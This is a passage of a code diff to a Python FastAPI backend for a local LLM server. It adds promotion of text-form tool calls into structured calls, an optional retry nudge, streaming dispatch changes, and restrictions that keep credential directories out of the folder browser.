explicitly instead. - if requested_studio_tools and _has_client_tool: - raise HTTPException( - status_code = 400, - detail = ( - "Mixing Anthropic server tools (e.g. web_search_20250305) " - "with custom client tools in a single request is not " - "supported. Send them in separate requests." - ), - ) - + # the `not image_b64` gate in /v1/chat/completions. requested_studio_tools and + # the mixed-mode rejection were computed before the switch above. openai_client_tools = [ tool for tool in anthropic_tools_to_openai(payload.tools or []) @@ -8660,6 +9632,7 @@ async def anthropic_messages( session_id = payload.session_id, cancel_id = payload.cancel_id, disable_parallel_tool_use = _disable_parallel, + auto_heal_tool_calls = payload.auto_heal_tool_calls, ) ) return await _monitored_anthropic( @@ -8679,6 +9652,8 @@ async def anthropic_messages( presence_penalty = presence_penalty, tool_choice = openai_tool_choice, disable_parallel_tool_use = _disable_parallel, + auto_heal_tool_calls = payload.auto_heal_tool_calls, + nudge_tool_calls = payload.nudge_tool_calls, ) ) @@ -9249,6 +10224,7 @@ async def _anthropic_passthrough_stream( session_id = None, cancel_id = None, disable_parallel_tool_use = False, + auto_heal_tool_calls = None, ): """Streaming client-side pass-through: forward tools to llama-server and translate its stream to Anthropic SSE without executing anything.""" @@ -9285,6 +10261,16 @@ async def _anthropic_passthrough_stream( async def _stream(): emitter = AnthropicPassthroughEmitter() + # Promote text-form tool calls (declared client tools only) into + # tool_use blocks; verbatim behavior when healing is off or no tools. + # tool_choice arrives here already converted to the OpenAI shape. + _allowed_tools = heal_gate(auto_heal_tool_calls, openai_tools, tool_choice) + if _allowed_tools: + emitter.enable_healing( + _allowed_tools, + openai_tools, + disable_parallel_tool_use = disable_parallel_tool_use, + ) for line in emitter.start(message_id, model_name, input_tokens = input_tokens): yield line @@ -9346,7 +10332,7 @@ async def _anthropic_passthrough_stream( yield build_anthropic_sse_event( "error", anthropic_error_body( - f"llama-server error: {_err_text}", + _friendly_upstream_error(_err_text), status = resp.status_code, ), ) @@ -9421,6 +10407,8 @@ async def _anthropic_passthrough_non_streaming( presence_penalty = None, tool_choice = "auto", disable_parallel_tool_use = False, + auto_heal_tool_calls = None, + nudge_tool_calls = None, ): """Non-streaming client-side pass-through.""" target_url = f"{llama_backend.base_url}/v1/chat/completions" @@ -9449,38 +10437,102 @@ async def _anthropic_passthrough_non_streaming( if resp.status_code != 200: raise HTTPException( status_code = resp.status_code, - detail = f"llama-server error: {resp.text[:500]}", + detail = _friendly_upstream_error(resp.text[:500]), ) data = resp.json() + # tool_choice arrives here already converted to the OpenAI shape. + _allowed_tools = heal_gate(auto_heal_tool_calls, openai_tools, tool_choice) + + # Opt-in single-retry nudge (mirrors the OpenAI passthrough): the model + # tried to call a tool but nothing usable came out; re-ask once with the + # prompt prefix intact so llama-server's KV cache is reused. + if ( + _allowed_tools + and nudge_enabled(nudge_tool_calls) + and nudge_should_retry(data, _allowed_tools, openai_tools) + ): + retry_body = { + **body, + "messages": [*body.get("messages", []), *nudge_messages(data, _allowed_tools)], + } + try: + retry_resp = await nonstreaming_client().post( + target_url, + json = retry_body, + timeout = _llama_non_streaming_generation_timeout(), + ) + if retry_resp.status_code == 200: + retry_data = retry_resp.json() + if response_has_promotable_calls(retry_data, _allowed_tools, openai_tools): + data = retry_data + except (httpx.RequestError, ValueError) as exc: + logger.warning("tool-call nudge retry failed; keeping original: %s", exc) + choice = (data.get("choices") or [{}])[0] message = choice.get("message") or {} finish_reason = choice.get("finish_reason") - content_blocks = [] - text = message.get("content") or "" - if text: - text = _TOOL_XML_RE.sub("", text).strip() - if text: - content_blocks.append(AnthropicResponseTextBlock(text = text)) + healing_active = bool(_allowed_tools) + healed_events = ( + heal_openai_message_events(message, _allowed_tools, openai_tools) + if healing_active + else None + ) - tool_calls = message.get("tool_calls") or [] - # disable_parallel_tool_use: keep only the first tool_use block. - if disable_parallel_tool_use and len(tool_calls) > 1: - tool_calls = tool_calls[:1] - for tc in tool_calls: - fn = tc.get("function") or {} - try: - args = json.loads(fn.get("arguments", "{}")) - except json.JSONDecodeError: - args = {} - content_blocks.append( - AnthropicResponseToolUseBlock( - id = anthropic_tool_use_id(tc.get("id")), - name = fn.get("name", ""), - input = args, + content_blocks = [] + tool_calls = [] + if healed_events: + emitted_tool_uses = 0 + for kind, value in healed_events: + if kind == "text": + text = str(value).strip() + if text: + content_blocks.append(AnthropicResponseTextBlock(text = text)) + continue + if disable_parallel_tool_use and emitted_tool_uses >= 1: + continue + fn = value.get("function") or {} + try: + args = json.loads(fn.get("arguments", "{}")) + except json.JSONDecodeError: + args = {} + tool_calls.append(value) + emitted_tool_uses += 1 + content_blocks.append( + AnthropicResponseToolUseBlock( + id = anthropic_tool_use_id(value.get("id")), + name = fn.get("name", ""), + input = args, + ) + ) + else: + text = message.get("content") or "" + if text: + # Keep unpromoted bytes when healing is active; legacy stripping is + # only for opted-out or no-client-tool requests. + if not healing_active: + text = _TOOL_XML_RE.sub("", text) + text = text.strip() + if text: + content_blocks.append(AnthropicResponseTextBlock(text = text)) + + tool_calls = message.get("tool_calls") or [] + if disable_parallel_tool_use and len(tool_calls) > 1: + tool_calls = tool_calls[:1] + for tc in tool_calls: + fn = tc.get("function") or {} + try: + args = json.loads(fn.get("arguments", "{}")) + except json.JSONDecodeError: + args = {} + content_blocks.append( + AnthropicResponseToolUseBlock( + id = anthropic_tool_use_id(tc.get("id")), + name = fn.get("name", ""), + input = args, + ) ) - ) stop_reason = openai_finish_to_anthropic_stop(finish_reason, had_tool_calls = bool(tool_calls)) @@ -9828,45 +10880,84 @@ async def _openai_passthrough_stream( body = _build_openai_passthrough_body( payload, backend_ctx = llama_backend.context_length, llama_backend = llama_backend ) + # Text-form tool calls from small models get promoted to structured calls on + # the way back (declared client tools only); requests without tools or with + # auto_heal_tool_calls=false keep the verbatim relay. tool_choice constrains + # the allowlist ("none" disables, a forced function narrows to it). + _allowed_tools = heal_gate( + payload.auto_heal_tool_calls, body.get("tools"), body.get("tool_choice") + ) _cancel_keys = (payload.cancel_id, payload.session_id, completion_id) _tracker = _TrackedCancel(cancel_event, *_cancel_keys) _tracker.__enter__() + client = None + resp = None + send_task: Optional[asyncio.Task[Optional[httpx.Response]]] = None + + async def _aclose_send_task(task: Optional[asyncio.Task[Optional[httpx.Response]]]) -> None: + if task is None: + return + if not task.done(): + task.cancel() + try: + task_resp = await task + if task_resp is not None: + try: + await task_resp.aclose() + except Exception: + pass + except (asyncio.CancelledError, Exception): + pass # Keep tracker cleanup paired if pre-header dispatch is cancelled. try: - # Dispatch BEFORE returning StreamingResponse so transport errors and - # non-200 upstream statuses surface as real HTTP errors -- OpenAI SDKs - # rely on status codes to raise APIError/BadRequestError. + # Keep the pre-header window short so accepted SSE clients receive + # immediate headers in the common timeout-reduced stall. client = httpx.AsyncClient( timeout = _llama_streaming_generation_timeout(), limits = httpx.Limits(max_keepalive_connections = 0), trust_env = False, ) - resp = None _truncate_budget = ( _OVERFLOW_TRUNCATE_MAX_RETRIES if _overflow_truncation_requested(payload) else 0 ) + while True: try: req = client.build_request( "POST", target_url, json = body, headers = {"Connection": "close"} ) first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S - resp = await _send_stream_with_preheader_cancel( - client, req, cancel_event, request = request + send_task = asyncio.create_task( + _send_stream_with_preheader_cancel(client, req, cancel_event, request = request) ) + done, _ = await asyncio.wait( + {send_task}, + timeout = _OPENAI_PASSTHROUGH_PREHEADER_STATUS_WINDOW_S, + return_when = asyncio.FIRST_COMPLETED, + ) + if send_task not in done: + break + + # Dispatch returned quickly enough to preserve pre-header status. + resp = await send_task + send_task = None except httpx.RequestError as e: # llama-server subprocess crashed / starting / unreachable. logger.error("openai passthrough stream: upstream unreachable: %s", e) api_monitor.fail(monitor_id, _friendly_error(e)) + await _aclose_send_task(send_task) await _aclose_stream_resources(resp = resp, client = client) raise HTTPException( status_code = 502, detail = _friendly_error(e), ) + if resp is None and send_task is not None and not send_task.done(): + break if resp is None: api_monitor.finish(monitor_id, "cancelled") + await _aclose_send_task(send_task) try: await client.aclose() except Exception: @@ -9911,6 +11002,8 @@ async def _openai_passthrough_stream( api_monitor.fail(monitor_id, err_text[:500]) raise _openai_passthrough_error(upstream_status, err_text) + # Keep tracker cleanup paired if pre-header dispatch is cancelled after we + # have already committed headers. async def _stream(): # Same httpx lifecycle pattern as _anthropic_passthrough_stream: # save resp.aiter_lines() so the finally block can aclose() it on @@ -9918,10 +11011,10 @@ async def _openai_passthrough_stream( lines_iter = None # Watchers unblock aiter_lines() during prefill, before in-loop # cancel/disconnect checks can run. - cancel_watcher = asyncio.create_task(_await_cancel_then_close(cancel_event, resp)) - disconnect_watcher = asyncio.create_task( - _await_disconnect_then_close(request, resp, cancel_event) - ) + cancel_watcher = None + disconnect_watcher = None + + nonlocal resp, send_task, first_token_deadline, _truncate_budget monitor_done = False saw_finish_reason = False saw_done = False @@ -9930,9 +11023,14 @@ async def _openai_passthrough_stream( last_chunk_id = completion_id last_chunk_model = model_name last_chunk_created = int(time.time()) + healer = ( + StreamToolCallHealer(_allowed_tools, body.get("tools")) if _allowed_tools else None + ) + healed_call_index = 0 def _synthetic_finish_line() -> str: - finish_reason = "tool_calls" if saw_tool_call_delta else "stop" + healed = healer is not None and healer.healed + finish_reason = "tool_calls" if (saw_tool_call_delta or healed) else "stop" chunk = ChatCompletionChunk( id = last_chunk_id, created = last_chunk_created, @@ -9946,7 +11044,182 @@ async def _openai_passthrough_stream( ) return f"data: {chunk.model_dump_json(exclude_none = True)}" + def _healer_sse_lines(events) -> list: + # Serialize healer events as chunks matching the upstream stream's + # id/model/created so clients see one coherent completion. + nonlocal healed_call_index + lines = [] + for kind, value in events: + if kind == "text": + if not value: + continue + delta = {"content": value} + else: + # parallel_tool_calls=false caps healed calls too (the SSE + # line cap only sees structured upstream deltas). + if payload.parallel_tool_calls is False and healed_call_index >= 1: + continue + delta = { + "tool_calls": [ + { + "index": healed_call_index, + "id": value["id"], + "type": "function", + "function": value["function"], + } + ] + } + healed_call_index += 1 + chunk = { + "id": last_chunk_id, + "object": "chat.completion.chunk", + "created": last_chunk_created, + "model": last_chunk_model, + "choices": [{"index": 0, "delta": delta, "finish_reason": None}], + } + lines.append("data: " + json.dumps(chunk, ensure_ascii = False)) + return lines + + def _heal_transform(chunk_data: dict, raw_line: str) -> list: + """SSE lines to emit in place of one upstream line (healing on).""" + choices = chunk_data.get("choices") + if not (isinstance(choices, list) and choices and isinstance(choices[0], dict)): + return [raw_line] + choice = choices[0] + delta = choice.get("delta") + delta = delta if isinstance(delta, dict) else {} + if delta.get("tool_calls"): + # Structured call streamed: grammar mode worked. Flush any held + # text (it preceded the call) and relay verbatim from here on. + lines = _healer_sse_lines(healer.structured_tool_call_seen()) + if healed_call_index: + if payload.parallel_tool_calls is False: + # A healed call already consumed the single allowed + # slot; the upstream SSE cap keeps native index 0, so + # drop the native call here or the client gets two. + del delta["tool_calls"] + if delta or choice.get("finish_reason") or chunk_data.get("usage"): + lines.append("data: " + json.dumps(chunk_data, ensure_ascii = False)) + return lines + # A healed call already went out on index 0..n-1; OpenAI + # clients merge tool-call deltas by index, so shift the + # native calls into the next indexes or they would merge + # into the healed call. + for tc in delta["tool_calls"]: + if isinstance(tc, dict) and isinstance(tc.get("index"), int): + tc["index"] += healed_call_index + return lines + ["data: " + json.dumps(chunk_data, ensure_ascii = False)] + return lines + [raw_line] + content = delta.get("content") + finish = choice.get("finish_reason") + if not isinstance(content, str) or not content: + if not finish: + return [raw_line] + # Finish chunk: last-chance heal of the residue, and rewrite a + # "stop" into "tool_calls" when text-form calls were promoted. + lines = _healer_sse_lines(healer.finalize()) + if healer.healed and finish == "stop": + choice["finish_reason"] = "tool_calls" + return lines + ["data: " + json.dumps(chunk_data, ensure_ascii = False)] + return lines + [raw_line] + events = healer.feed(content) + if finish: + events += healer.finalize() + if not finish and events == [("text", content)]: + # Nothing held or promoted: the healer passed the chunk + # through whole, so keep the verbatim upstream bytes. + return [raw_line] + del delta["content"] + prefix_lines = [] + if delta: + prefix_chunk = {k: v for k, v in chunk_data.items() if k != "usage"} + prefix_choice = dict(choice) + prefix_choice["delta"] = dict(delta) + prefix_choice["finish_reason"] = None + prefix_chunk["choices"] = [prefix_choice] + prefix_lines.append("data: " + json.dumps(prefix_chunk, ensure_ascii = False)) + delta.clear() + lines = prefix_lines + _healer_sse_lines(events) + if delta or finish or chunk_data.get("usage"): + if healer.healed and finish == "stop": + choice["finish_reason"] = "tool_calls" + lines.append("data: " + json.dumps(chunk_data, ensure_ascii = False)) + return lines + try: + while True: + if send_task is not None and not send_task.done(): + try: + resp = await send_task + except httpx.RequestError as e: + logger.error("openai passthrough stream: upstream unreachable: %s", e) + api_monitor.fail(monitor_id, _friendly_error(e)) + yield f"data: {json.dumps(_openai_stream_error_chunk(e))}\n\n" + return + send_task = None + elif send_task is not None: + try: + resp = send_task.result() + except httpx.RequestError as e: + logger.error("openai passthrough stream: upstream unreachable: %s", e) + api_monitor.fail(monitor_id, _friendly_error(e)) + yield f"data: {json.dumps(_openai_stream_error_chunk(e))}\n\n" + return + send_task = None + + if resp is None: + api_monitor.finish(monitor_id, "cancelled") + return + if resp.status_code == 200: + break + + err_bytes = await resp.aread() + err_text = err_bytes.decode("utf-8", errors = "replace") + logger.error( + "openai passthrough upstream error: status=%s body=%s", + resp.status_code, + err_text[:500], + ) + upstream_status = resp.status_code + try: + await resp.aclose() + except Exception: + pass + resp = None + if ( + _truncate_budget > 0 + and _classify_llama_generation_error(Exception(err_text)) + and _apply_overflow_truncation(body, err_text) + ): + _truncate_budget -= 1 + req = client.build_request( + "POST", target_url, json = body, headers = {"Connection": "close"} + ) + first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S + send_task = asyncio.create_task( + _send_stream_with_preheader_cancel( + client, req, cancel_event, request = request + ) + ) + continue + + upstream_error = _openai_passthrough_error(upstream_status, err_text) + error_payload = ( + upstream_error.detail + if isinstance(upstream_error.detail, dict) + else openai_error_body( + str(upstream_error.detail), + status = upstream_status, + ) + ) + api_monitor.fail(monitor_id, err_text[:500]) + yield f"data: {json.dumps(error_payload)}\n\n" + return + + cancel_watcher = asyncio.create_task(_await_cancel_then_close(cancel_event, resp)) + disconnect_watcher = asyncio.create_task( + _await_disconnect_then_close(request, resp, cancel_event) + ) lines_iter = resp.aiter_lines() async for raw_line in _aiter_llama_stream_items( lines_iter, @@ -9962,6 +11235,14 @@ async def _openai_passthrough_stream( data_text = raw_line[6:].strip() if data_text == "[DONE]": saw_done = True + # Upstream ended without a finish chunk: heal the residue + # first so the synthetic finish sees healer.healed. + if healer is not None and not saw_stream_error: + for held_line in _healer_sse_lines(healer.finalize()): + _monitor_openai_sse_line( + monitor_id, held_line, llama_backend.context_length + ) + yield held_line + "\n\n" if ( not saw_finish_reason and not saw_stream_error @@ -10017,13 +11298,18 @@ async def _openai_passthrough_stream( # emit a successful finish_reason after a failed stream. if _monitor_openai_error_message(chunk_data): saw_stream_error = True - monitor_event = _monitor_openai_sse_line( - monitor_id, - raw_line, - llama_backend.context_length, - ) - if monitor_event == "error": - saw_stream_error = True + # With healing active, a content-bearing line may be replaced by + # held/promoted chunks; otherwise the single upstream line + # relays verbatim (monitored exactly as emitted either way). + if ( + healer is not None + and not healer.dormant + and isinstance(chunk_data, dict) + and not saw_stream_error + ): + out_lines = _heal_transform(chunk_data, raw_line) + else: + out_lines = [raw_line] # If a trailing usage-only chunk (include_usage) arrives before # any finish chunk, emit the synthetic finish first so the order # stays finish -> usage -> [DONE], matching the other streams. @@ -10037,23 +11323,46 @@ async def _openai_passthrough_stream( and not saw_stream_error and not cancel_event.is_set() ): + if healer is not None: + # Residue must precede the finish it may upgrade. + held = _healer_sse_lines(healer.finalize()) + for held_line in held: + _monitor_openai_sse_line( + monitor_id, held_line, llama_backend.context_length + ) + yield held_line + "\n\n" finish_line = _synthetic_finish_line() _monitor_openai_sse_line( monitor_id, finish_line, llama_backend.context_length ) yield finish_line + "\n\n" saw_finish_reason = True - # Relay verbatim to preserve llama-server's native id, - # finish_reason, delta.tool_calls, and usage chunks. - yield raw_line + "\n\n" - if monitor_event == "done": - monitor_done = True + for out_line in out_lines: + monitor_event = _monitor_openai_sse_line( + monitor_id, + out_line, + llama_backend.context_length, + ) + if monitor_event == "error": + saw_stream_error = True + # Relay to preserve llama-server's native id, + # finish_reason, delta.tool_calls, and usage chunks. + yield out_line + "\n\n" + if monitor_event == "done": + monitor_done = True + if monitor_done: break if not saw_done and not saw_stream_error and not cancel_event.is_set(): # Synthesize a finish chunk only if one was not already # emitted (e.g. before a trailing usage-only chunk), but # always close with [DONE] whenever the upstream omitted it, # so the stream ends on the [DONE] sentinel either way. + if healer is not None: + for held_line in _healer_sse_lines(healer.finalize()): + _monitor_openai_sse_line( + monitor_id, held_line, llama_backend.context_length + ) + yield held_line + "\n\n" if not saw_finish_reason: finish_line = _synthetic_finish_line() _monitor_openai_sse_line( @@ -10097,6 +11406,7 @@ async def _openai_passthrough_stream( err = _openai_stream_error_chunk(e) yield f"data: {json.dumps(err)}\n\n" finally: + await _aclose_send_task(send_task) await _aclose_stream_resources( watchers = (cancel_watcher, disconnect_watcher), iterator = lines_iter, @@ -10110,6 +11420,7 @@ async def _openai_passthrough_stream( # finally never ran. Release the eagerly-opened upstream resp/client # and the cancel-registry entry here; the watchers and line iterator # are created inside _stream(), so there is nothing else to close. + await _aclose_send_task(send_task) await _aclose_stream_resources(resp = resp, client = client) _tracker.__exit__(None, None, None) @@ -10124,6 +11435,8 @@ async def _openai_passthrough_stream( unstarted_cleanup = _unstarted_cleanup, ) except BaseException: + await _aclose_send_task(send_task) + await _aclose_stream_resources(resp = resp, client = client) _tracker.__exit__(None, None, None) raise @@ -10192,6 +11505,9 @@ async def _openai_passthrough_non_streaming( _guided_fence = bool((payload.model_extra or {}).get("_unsloth_guided_fence")) _do_fence = _guided_fence and _extract_response_format(payload) is not None _cap_parallel = payload.parallel_tool_calls is False + _allowed_tools = heal_gate( + payload.auto_heal_tool_calls, body.get("tools"), body.get("tool_choice") + ) try: data = resp.json() @@ -10204,6 +11520,33 @@ async def _openai_passthrough_non_streaming( api_monitor.finish(monitor_id) return Response(content = resp.content, media_type = "application/json") + # Opt-in single-retry nudge: the model clearly tried to call a tool (signal + # present) but nothing parseable/declared came out, so re-ask once with the + # original prompt prefix intact (llama-server reuses the slot's KV cache) + # plus a two-message nudge suffix. The retry replaces the original response + # only when it actually yields a usable call. + if ( + _allowed_tools + and nudge_enabled(payload.nudge_tool_calls) + and nudge_should_retry(data, _allowed_tools, body.get("tools")) + ): + retry_body = { + **body, + "messages": [*body.get("messages", []), *nudge_messages(data, _allowed_tools)], + } + try: + retry_resp = await nonstreaming_client().post( + target_url, + json = retry_body, + timeout = _llama_non_streaming_generation_timeout(), + ) + if retry_resp.status_code == 200: + retry_data = retry_resp.json() + if response_has_promotable_calls(retry_data, _allowed_tools, body.get("tools")): + resp, data = retry_resp, retry_data + except (httpx.RequestError, ValueError) as exc: + logger.warning("tool-call nudge retry failed; keeping original: %s", exc) + changed = False for choice in data.get("choices", []): if not isinstance(choice, dict): @@ -10212,6 +11555,17 @@ async def _openai_passthrough_non_streaming( if not isinstance(msg, dict): continue + # Small models emit tool calls as text instead of structured tool_calls; + # promote them (declared client tools only) so the agent sees a real call. + # Truncation wins over the upgrade (same rule as the streaming and + # Anthropic paths): a call cut off at max_tokens keeps + # finish_reason="length" so the client knows the arguments may be + # incomplete, while the healed call itself stays attached. + if _allowed_tools and heal_openai_message(msg, _allowed_tools, body.get("tools")): + if choice.get("finish_reason") == "stop": + choice["finish_reason"] = "tool_calls" + changed = True + # OpenAI requires content=null on a pure tool-call turn; llama-server # emits content="". if msg.get("tool_calls") and msg.get("content") == "": diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py index 7c75e85227..c23ab1d428 100644 --- a/studio/backend/routes/models.py +++ b/studio/backend/routes/models.py @@ -7,6 +7,7 @@ import asyncio import hashlib import json import os +import re import shutil import sys import uuid @@ -58,25 +59,51 @@ def _safe_is_dir(path) -> bool: return False +# Hub repo id shape ("owner/name", no leading separator); anything else is +# treated as a local filesystem path. +_HF_REPO_ID_RE = re.compile(r"^[A-Za-z0-9][\w.\-]*/[\w.\-]+$") + + def _is_hidden_model(*values: str | None) -> bool: """True if any id/path is the RAG embedding model (EMBEDDING_MODEL or EMBED_GGUF_REPO basename) or the llama.cpp install validation probe (ggml-org/models / stories260K), so pickers hide them (GGUF and non-GGUF). None are usable chat models; the probe can be cached as a side effect of installing the prebuilt llama-server and otherwise sorts smallest, so it - would be auto-selected.""" + would be auto-selected. A local-path embedder is matched by exact resolved + path only: a generic basename like "model" must not substring-hide + unrelated chat models.""" from core.rag import config as rag_config - needles = ( - rag_config.EMBEDDING_MODEL.split("/")[-1].lower(), - rag_config.EMBED_GGUF_REPO.split("/")[-1].lower(), + needles = [ # The validation probe's repo (matches the cached repo id) and its exact # filename (matches the on-disk path). The filename carries the .gguf so # it does not hide unrelated repos like ``user/stories260K-finetune-GGUF``. "ggml-org/models", "stories260k.gguf", - ) - return any(v and any(n in v.lower() for n in needles) for v in values) + ] + exact_paths: list[str] = [] + for model in ( + rag_config.effective_embedding_model(), + rag_config.effective_gguf_repo(), + ): + if _HF_REPO_ID_RE.match(model): + needles.append(model.split("/")[-1].lower()) + else: + resolved = _safe_resolve(Path(model).expanduser()) + if resolved: + exact_paths.append(resolved.lower()) + for v in values: + if not v: + continue + low = v.lower() + if any(n in low for n in needles): + return True + if exact_paths: + resolved = _safe_resolve(Path(v).expanduser()) + if resolved and resolved.lower() in exact_paths: + return True + return False def _safe_resolve(path: Path) -> Optional[str]: @@ -1175,6 +1202,7 @@ def _build_browse_allowlist() -> list[Path]: legacy_hf_cache_dir, well_known_model_dirs, ) + from utils.paths.external_media import linux_run_media_mount_roots from storage.studio_db import list_scan_folders candidates: list[Path] = [] @@ -1190,6 +1218,8 @@ def _build_browse_allowlist() -> list[Path]: candidates.append(resolved) _add(Path.home()) + for p in linux_run_media_mount_roots(): + _add(p) _add(_resolve_hf_cache_dir()) try: _add(hf_default_cache_dir()) @@ -1309,6 +1339,8 @@ def _match_browse_child(current: Path, name: str) -> Optional[Path]: def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Path: """Resolve a requested browse path by walking from trusted allowlist roots.""" + from storage.studio_db import contains_sensitive_path_component + requested_path = _normalize_browse_request_path(path) resolved_roots: list[Path] = [] seen_roots: set[str] = set() @@ -1359,8 +1391,18 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa "under your home folder." ), ) + if contains_sensitive_path_component(str(resolved_child)): + raise HTTPException( + status_code = 403, + detail = "Credential or configuration directories are not browseable.", + ) current = resolved_child + if contains_sensitive_path_component(str(current)): + raise HTTPException( + status_code = 403, + detail = "Credential or configuration directories are not browseable.", + ) if not current.is_dir(): raise HTTPException( status_code = 400, @@ -1408,7 +1450,8 @@ async def browse_folders( then hidden (if ``show_hidden=true``). """ from utils.paths import hf_default_cache_dir, well_known_model_dirs - from storage.studio_db import list_scan_folders + from utils.paths.external_media import linux_run_media_mount_roots + from storage.studio_db import contains_sensitive_path_component, list_scan_folders # Build once; the sandbox check and suggestion chips share it. allowed_roots = _build_browse_allowlist() @@ -1461,6 +1504,8 @@ async def browse_folders( is_hidden = name.startswith(".") if is_hidden and not show_hidden: continue + if contains_sensitive_path_component(name): + continue entries.append( BrowseEntry( name = name, @@ -1514,6 +1559,8 @@ async def browse_folders( # Home first -- the safe fallback when everything else is cold. _add_sug(Path.home()) + for p in linux_run_media_mount_roots(): + _add_sug(p) # The HF cache root the process is actually using. try: _add_sug(hf_default_cache_dir()) diff --git a/studio/backend/routes/preview.py b/studio/backend/routes/preview.py index 1fa9055d3a..5acf039401 100644 --- a/studio/backend/routes/preview.py +++ b/studio/backend/routes/preview.py @@ -17,7 +17,11 @@ from loggers import get_logger from auth.authentication import get_current_subject from auth.storage import DEFAULT_ADMIN_USERNAME from models.inference import ChatCompletionRequest, LoadRequest -from routes.inference import load_model, openai_chat_completions +from routes.inference import ( + disable_openai_auto_switch_for_request, + load_model, + openai_chat_completions, +) from state.tool_policy import tools_force_disabled from utils.client_ip import client_ip from utils.models.checkpoints import list_preview_targets, resolve_preview_checkpoint @@ -155,6 +159,9 @@ async def _serve_chat( path = _resolve_or_4xx(run, checkpoint) is_lora = (path / "adapter_config.json").exists() payload = _sanitize_preview_payload(payload, is_lora) + # Preview always serves the pinned checkpoint it loads below; a public caller's + # `model` field must never trigger an OpenAI auto-switch to another GGUF. + disable_openai_auto_switch_for_request(getattr(request, "scope", None)) await _preview_lock.acquire() keep_locked = False try: diff --git a/studio/backend/routes/rag.py b/studio/backend/routes/rag.py index 4e35fce3c2..e20fea74a3 100644 --- a/studio/backend/routes/rag.py +++ b/studio/backend/routes/rag.py @@ -167,7 +167,7 @@ def create_knowledge_base( conn, name = payload.name.strip(), description = (payload.description or None), - embedding_model = config.EMBEDDING_MODEL, + embedding_model = config.effective_embedding_model(), ) return {"id": kb_id, "name": payload.name.strip()} finally: diff --git a/studio/backend/routes/settings.py b/studio/backend/routes/settings.py index f582500f7f..862bce8be8 100644 --- a/studio/backend/routes/settings.py +++ b/studio/backend/routes/settings.py @@ -4,7 +4,7 @@ from typing import Literal, Optional from urllib.parse import unquote, urlsplit -from fastapi import APIRouter, Depends +from fastapi import APIRouter, Depends, HTTPException from pydantic import BaseModel, ConfigDict, Field, field_validator from auth.authentication import get_current_subject @@ -32,11 +32,30 @@ from utils.helper_precache_settings import ( helper_model_disabled_by_env, set_helper_precache_enabled, ) +from utils.openai_auto_switch_settings import ( + DEFAULT_AUTO_UNLOAD_IDLE_SECONDS, + DEFAULT_OPENAI_AUTO_SWITCH_ENABLED, + get_auto_unload_idle_seconds, + get_model_overrides, + get_openai_auto_switch_enabled, + get_stored_auto_unload_idle_seconds, + set_model_override, + set_openai_auto_switch, +) from utils.preview_sharing_settings import ( DEFAULT_PREVIEW_SHARING_ENABLED, get_preview_sharing_enabled, set_preview_sharing_enabled, ) +from utils.embedding_model_settings import ( + MAX_EMBEDDING_MODEL_LENGTH, + default_embedding_model, + get_rag_embedding_model, + get_stored_embedding_model, + reset_rag_embedding_model, + set_rag_embedding_model, + validate_embedding_model, +) router = APIRouter() @@ -66,6 +85,33 @@ class HelperPrecacheResponse(BaseModel): disabled_by_env: bool +class OpenAIAutoSwitchPayload(BaseModel): + enabled: bool + auto_unload_idle_seconds: int = Field(default = DEFAULT_AUTO_UNLOAD_IDLE_SECONDS, ge = 0) + + +class OpenAIAutoSwitchResponse(BaseModel): + enabled: bool + auto_unload_idle_seconds: int + default_enabled: bool = DEFAULT_OPENAI_AUTO_SWITCH_ENABLED + # True when the idle-unload loop will actually unload (effective TTL > 0). With + # UNSLOTH_MODEL_IDLE_TTL set and nothing stored, this is true even while enabled + # is false, so the UI can show idle-unload as active instead of "needs enable". + idle_unload_active: bool = False + + +class ModelOverridePayload(BaseModel): + model_id: str = Field(..., min_length = 1) + llama_extra_args: list[str] = Field(default_factory = list) + # ge=1: 0 is not a valid sequence length, and the setter drops a falsy value, + # so reject it at the boundary instead of accepting then silently discarding it. + max_seq_length: Optional[int] = Field(default = None, ge = 1, le = 1048576) + + +class ModelOverridesResponse(BaseModel): + overrides: dict[str, dict] + + def _upload_limit_response(limit_mb: int) -> UploadLimitResponse: return UploadLimitResponse( max_upload_size_mb = limit_mb, @@ -128,6 +174,250 @@ def update_helper_precache( return _helper_precache_response(enabled) +@router.get("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse) +def get_openai_auto_switch( + current_subject: str = Depends(get_current_subject), +) -> OpenAIAutoSwitchResponse: + return OpenAIAutoSwitchResponse( + enabled = get_openai_auto_switch_enabled(), + auto_unload_idle_seconds = get_stored_auto_unload_idle_seconds(), + idle_unload_active = get_auto_unload_idle_seconds() > 0, + ) + + +@router.put("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse) +def update_openai_auto_switch( + payload: OpenAIAutoSwitchPayload, current_subject: str = Depends(get_current_subject) +) -> OpenAIAutoSwitchResponse: + try: + enabled, idle_seconds = set_openai_auto_switch( + payload.enabled, payload.auto_unload_idle_seconds + ) + except ValueError as exc: + raise log_and_http_error( + exc, + 400, + safe_error_detail(exc, fallback = "Invalid OpenAI auto-switch setting."), + event = "settings.update_openai_auto_switch_failed", + log = logger, + ) from exc + return OpenAIAutoSwitchResponse( + enabled = enabled, + auto_unload_idle_seconds = idle_seconds, + idle_unload_active = get_auto_unload_idle_seconds() > 0, + ) + + +@router.get("/openai-auto-switch/overrides", response_model = ModelOverridesResponse) +def get_openai_auto_switch_overrides( + current_subject: str = Depends(get_current_subject), +) -> ModelOverridesResponse: + return ModelOverridesResponse(overrides = get_model_overrides()) + + +@router.put("/openai-auto-switch/overrides", response_model = ModelOverridesResponse) +def update_openai_auto_switch_override( + payload: ModelOverridePayload, current_subject: str = Depends(get_current_subject) +) -> ModelOverridesResponse: + from core.inference.llama_server_args import validate_extra_args + try: + extra_args = validate_extra_args(payload.llama_extra_args) + set_model_override( + payload.model_id, + llama_extra_args = extra_args, + max_seq_length = payload.max_seq_length, + ) + except ValueError as exc: + raise log_and_http_error( + exc, + 400, + safe_error_detail(exc, fallback = "Invalid model launch override."), + event = "settings.update_model_override_failed", + log = logger, + ) from exc + return ModelOverridesResponse(overrides = get_model_overrides()) + + +class EmbeddingModelPayload(BaseModel): + embedding_model: str = Field(..., min_length = 1, max_length = MAX_EMBEDDING_MODEL_LENGTH) + # Token for gated/private repos during verification (not stored). + hf_token: Optional[str] = Field(default = None, max_length = 512) + # Skip HF verification (offline installs, local paths HF can't see). + force: bool = False + + +class 